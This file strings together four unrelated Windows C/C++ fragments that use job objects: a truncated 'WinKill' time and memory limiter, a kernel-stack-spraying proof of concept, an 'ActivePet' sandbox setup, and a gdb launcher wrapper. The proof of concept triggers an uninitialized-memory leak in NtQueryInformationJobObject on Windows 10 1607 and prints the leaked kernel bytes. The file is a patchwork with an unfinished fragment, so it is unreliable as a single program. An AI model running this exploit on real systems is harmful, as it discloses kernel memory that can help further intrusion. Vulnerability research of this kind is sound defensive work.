int main(int argc,char *argv[]) { if(argc<4) { printf("WinKill v. 2.7\n"); printf("usage : %s <timelimit,sec|ms> <memorylimit,kb> <exename> <args>\n",argv[0]); printf("returns: 0 - ok\n" " 1 - run-time error( nonzero exit code )\n" " 2 - process time limit exceeded \n" " 3 - memory limit exceeded\n" " 4 - deadlock ( system time limit exceeded )\n" "\n"); return 1; } if (0 == strcmp("-java", argv[1])) { printf("-java option is deprecated, DO NOT USE.\n"); exception_handling = false; shift(argc, argv); } timelimit=0; sscanf(argv[1],"%d",&timelimit); if(timelimit==0) { printf("wrong time limit\n"); return 1; } if (timelimit<61) timelimit*=1000; memorylimit=0; sscanf(argv[2],"%d",&memorylimit); if(memorylimit==0) { printf("wrong memory limit\n"); return 1; } memset( &si,0,sizeof(si)); si.cb = sizeof(si); memset( &pi,0,sizeof(pi)); int r; LPTSTR procargs=(LPTSTR)malloc(10000*sizeof(char)); procargs[0]=0; for(int i=3;i<argc;i++) { strcat(procargs,"\""); strcat(procargs,argv[i]); strcat(procargs,"\" "); } SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOGPFAULTERRORBOX); BOOL cp = CreateProcess(NULL,procargs,NULL,NULL,FALSE, CREATE_SUSPENDED // | DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS , NULL,NULL,&si, &pi ); if(!cp) { printf("cannot create process %s",argv[3]); return 1; } SECURITY_ATTRIBUTES sa= {sizeof(SECURITY_ATTRIBUTES),NULL,FALSE}; HANDLE job = CreateJobObject(&sa,"winkill25"); if(job==NULL) { printf("cannot create job object"); return 1; } JOBOBJECT_EXTENDED_LIMIT_INFORMATION extlimit={ { {timelimit * 10/**1000*/*1000,0 }, {0,0},//{3 * 10*1000*1000,0}, //JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION JOB_OBJECT_LIMIT_PROCESS_MEMORY | JOB_OBJECT_LIMIT_PROCESS_TIME //| JOB_OBJECT_LIMIT_JOB_TIME //| JOB_OBJECT_LIMIT_JOB_MEMORY ,0,0,0,0,0,0 }
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { __asm{mov eax, ApiNumber}; __asm{lea edx, ApiNumber + 4}; __asm{int 0x2e}; } VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[4096]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { // Windows 10 1607 32-bit. CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9; // Create a job object to operate on. HANDLE hJob = CreateJobObject(NULL, NULL); // Spray the kernel stack with a marker value, to get visible results. SprayKernelStack(); // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 48). DWORD ReturnLength = 0; BYTE output[56] = { /* zero padding */ }; NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 48, &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationJobObject#1 failed, %x\n", st); CloseHandle(hJob); return 1; } // Print out the output. printf("Class 12, output length 48:\n"); PrintHex(output, ReturnLength); // Spray the kernel again before invoking the affected system call. SprayKernelStack(); // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 56). ZeroMemory(output, sizeof(output)); st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 56, &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationJobObject#2 failed, %x\n", st); CloseHandle(hJob); return 1; } // Print the output again. printf("Class 12, output length 56:\n"); PrintHex(output, ReturnLength); // Free resources. CloseHandle(hJob); return 0; }
ActivePet::ActivePet(wchar_t* user_password, std::wstring petname, FileEventLoop* files) : m_petname(petname), m_files(files), m_session(INVALID_HANDLE_VALUE), m_profile(INVALID_HANDLE_VALUE), m_job(CreateJobObject(NULL, NULL)), m_next_editable_name(1), m_ticks_while_invisible(0) { // Create a new logon session for the pet. std::wstring petRegistryPath = Constants::registryPets() + L"\\" + m_petname; RegKey petkey = RegKey::HKCU.open(petRegistryPath); std::wstring accountName = petkey.getValue(L"accountName"); std::wstring accountRegistryPath = Constants::registryAccounts() + L"\\" + accountName; RegKey accountKey = RegKey::HKCU.open(accountRegistryPath); std::wstring password = accountKey.getValue(L"password"); if (!LogonUser(accountName.c_str(), NULL, password.c_str(), LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &m_session)) { printf("LogonUser() failed: %d\n", GetLastError()); return; } // Tweak the Winsta0 and desktop ACLs to allow the pet to create windows. auto_buffer<PSID> logon_sid = GetLogonSID(m_session.get()); if (NULL == logon_sid.get()) { return; } auto_close<HWINSTA, &::CloseWindowStation> winsta0(OpenWindowStation(L"winsta0", FALSE, READ_CONTROL | WRITE_DAC)); if (NULL == winsta0.get()) { printf("OpenWindowStation() failed: %d\n", GetLastError()); return; } if (!AddAceToWindowStation(winsta0.get(), logon_sid.get())) { printf("AddAceToWindowStation() failed: %d", GetLastError()); return; } auto_close<HDESK, &::CloseDesktop> desktop(OpenDesktop(L"default", 0, FALSE, READ_CONTROL | WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS)); if (NULL == desktop.get()) { printf("OpenDesktop() failed: %d\n", GetLastError()); return; } if (!AddAceToDesktop(desktop.get(), logon_sid.get())) { printf("AddAceToDesktop() failed: %d\n", GetLastError()); return; } // Load the pet account's registry hive. wchar_t account[128] = {}; wcsncpy(account, accountName.c_str(), 128); PROFILEINFO profile = { sizeof(PROFILEINFO), 0, account }; if (!LoadUserProfile(m_session.get(), &profile)) { printf("LoadUserProfile() failed: %d\n", GetLastError()); return; } m_profile = profile.hProfile; // Initialize the pet job. if (NULL == m_job.get()) { printf("CreateJobObject() failed: %d\n", GetLastError()); return; } JOBOBJECT_BASIC_UI_RESTRICTIONS buir = { JOB_OBJECT_UILIMIT_HANDLES }; if (!SetInformationJobObject(m_job.get(), JobObjectBasicUIRestrictions, &buir, sizeof buir)) { printf("SetInformationJobObject() failed: %d\n", GetLastError()); } // Some apps fail to launch without access to the desktop window. if (!UserHandleGrantAccess(GetDesktopWindow(), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } // Give apps access to all the standard cursors. if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_ARROW), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_IBEAM), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_WAIT), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_CROSS), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_UPARROW), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZE), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_ICON), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZENWSE), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZENESW), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZEWE), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZENS), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_SIZEALL), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_NO), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_HAND), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_APPSTARTING), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } if (!UserHandleGrantAccess(LoadCursor(NULL, IDC_HELP), m_job.get(), TRUE)) { printf("UserHandleGrantAccess() failed: %d\n", GetLastError()); } // Setup the use records for the printers. std::set<std::wstring> servers; RegKey printers = RegKey::HKCU.open(L"Printers\\Connections"); for (int i = 0; true; ++i) { RegKey printer = printers.getSubKey(i); if (!printer.isGood()) { break; } std::wstring server = printer.getValue(L"Server"); if (servers.count(server) == 0) { std::wstring resource = server + L"\\IPC$"; auto_array<wchar_t> remote(resource.length() + 1); lstrcpy(remote.get(), resource.c_str()); USE_INFO_2 use = {}; use.ui2_remote = remote.get(); use.ui2_domainname = _wgetenv(L"USERDOMAIN"); use.ui2_username = _wgetenv(L"USERNAME");; use.ui2_password = user_password; use.ui2_asg_type = USE_WILDCARD; auto_impersonation impersonate(m_session.get()); DWORD arg_error; NET_API_STATUS error = NetUseAdd(NULL, 2, (BYTE*)&use, &arg_error); if (error) { printf("NetUseAdd() failed: %d\n", error); } else { servers.insert(server); } } } // Add the message handlers. //m_requestFolderPath = accountKey.getValue(Constants::petDataPathName()) + Constants::requestPath(); m_requestFolderPath = Constants::requestsPath(Constants::polarisDataPath(Constants::userProfilePath(accountName))); m_dispatcher = new MessageDispatcher(m_requestFolderPath); m_files->watch(m_requestFolderPath, m_dispatcher); m_dispatcher->add("sendmail",makeSendMailHandler()); // TODO m_dispatcher->add("GetOpenFileNameA", makeGetOpenFileNameAHandler(this)); m_dispatcher->add("GetOpenFileNameW", makeGetOpenFileNameWHandler(this)); m_dispatcher->add("GetClipboardData", makeGetClipboardDataHandler()); }
int main(int argc, char** argv) { enum { envbufsize = 1024*32 ,exebufsize = 1024 ,cmdbufsize = envbufsize }; char *envbuf, *sep, *resbuf, *cmdbuf; DWORD len, exitCode; STARTUPINFO si; PROCESS_INFORMATION pi; DIE_IF_FALSE( (envbuf = malloc(envbufsize)) ); DIE_IF_FALSE( (cmdbuf = malloc(cmdbufsize)) ); *cmdbuf = 0; DIE_IF_FALSE( GetEnvironmentVariable("PATH", envbuf, envbufsize) ); dbg_printf("env: %s\n", envbuf); DIE_IF_FALSE( GetModuleFileName(0, cmdbuf, exebufsize) ); dbg_printf("curdir: %s\n", cmdbuf); DIE_IF_FALSE( (sep = strrchr(cmdbuf, '\\')) ); *(sep+1) = 0; strcat(cmdbuf, GDB_TO_PYTHON_REL_DIR); dbg_printf("sep: %s\n", cmdbuf); len = strlen(envbuf)+strlen(cmdbuf) +1 /* for envronment separator */ +1; /* for zero-terminator */ DIE_IF_FALSE( (resbuf = malloc(len)) ); DIE_IF_FALSE( (snprintf(resbuf, len, "%s;%s", cmdbuf, envbuf) > 0) ); dbg_printf("PATH: %s\n", resbuf); DIE_IF_FALSE( SetEnvironmentVariable("PATH", resbuf) ); *(sep+1) = 0; strcat(cmdbuf, PYTHONHOME_REL_DIR); dbg_printf("PYTHONHOME: %s\n", cmdbuf); DIE_IF_FALSE( SetEnvironmentVariable("PYTHONHOME", cmdbuf) ); *(sep+1) = 0; strcat(cmdbuf, GDB_EXECUTABLE_ORIG_FILENAME" "); if ( argc > 1 ) { for ( ++argv; *argv; ++argv ) { len = strlen(cmdbuf); snprintf(cmdbuf+len, cmdbufsize-len, "%s ", *argv); } } dbg_printf("cmd: %s\n", cmdbuf); HANDLE ghJob = CreateJobObject(NULL, "Gdb-Wrapper\0"/*NULL*/); if ( ghJob == NULL ) { dbg_printf("Could not create job object\n"); } else { JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli = { 0 }; // Configure all child processes associated with the job to terminate when the last handle to the job is closed jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; if ( SetInformationJobObject(ghJob, JobObjectExtendedLimitInformation, &jeli, sizeof(jeli)) == 0 ) { dbg_printf("Could not SetInformationJobObject\n"); } } memset(&si, 0, sizeof(si)); si.cb = sizeof(si); si.dwFlags |= STARTF_USESTDHANDLES; si.hStdInput = GetStdHandle(STD_INPUT_HANDLE); si.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE); si.hStdError = GetStdHandle(STD_ERROR_HANDLE); memset(&pi, 0, sizeof(pi)); DIE_IF_FALSE( CreateProcess( 0 // exe name ,cmdbuf // command line ,0 // process security attributes ,0 // primary thread security attributes ,TRUE // handles are inherited ,0 // creation flags ,0 // use parent's environment ,0 // use parent's current directory ,&si // STARTUPINFO pointer ,&pi // receives PROCESS_INFORMATION ) ); if ( ghJob != NULL && AssignProcessToJobObject(ghJob, pi.hProcess) == 0 ) { dbg_printf("Could not AssignProcessToObject\n"); } // Do not handle Ctrl-C in the wrapper SetConsoleCtrlHandler(NULL, TRUE); WaitForSingleObject(pi.hProcess, INFINITE); DIE_IF_FALSE( GetExitCodeProcess(pi.hProcess, &exitCode) ); if ( ghJob != NULL ) CloseHandle(ghJob); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); free(envbuf); free(resbuf); free(cmdbuf); dbg_printf("exiting with exitCode %d", exitCode); return exitCode; }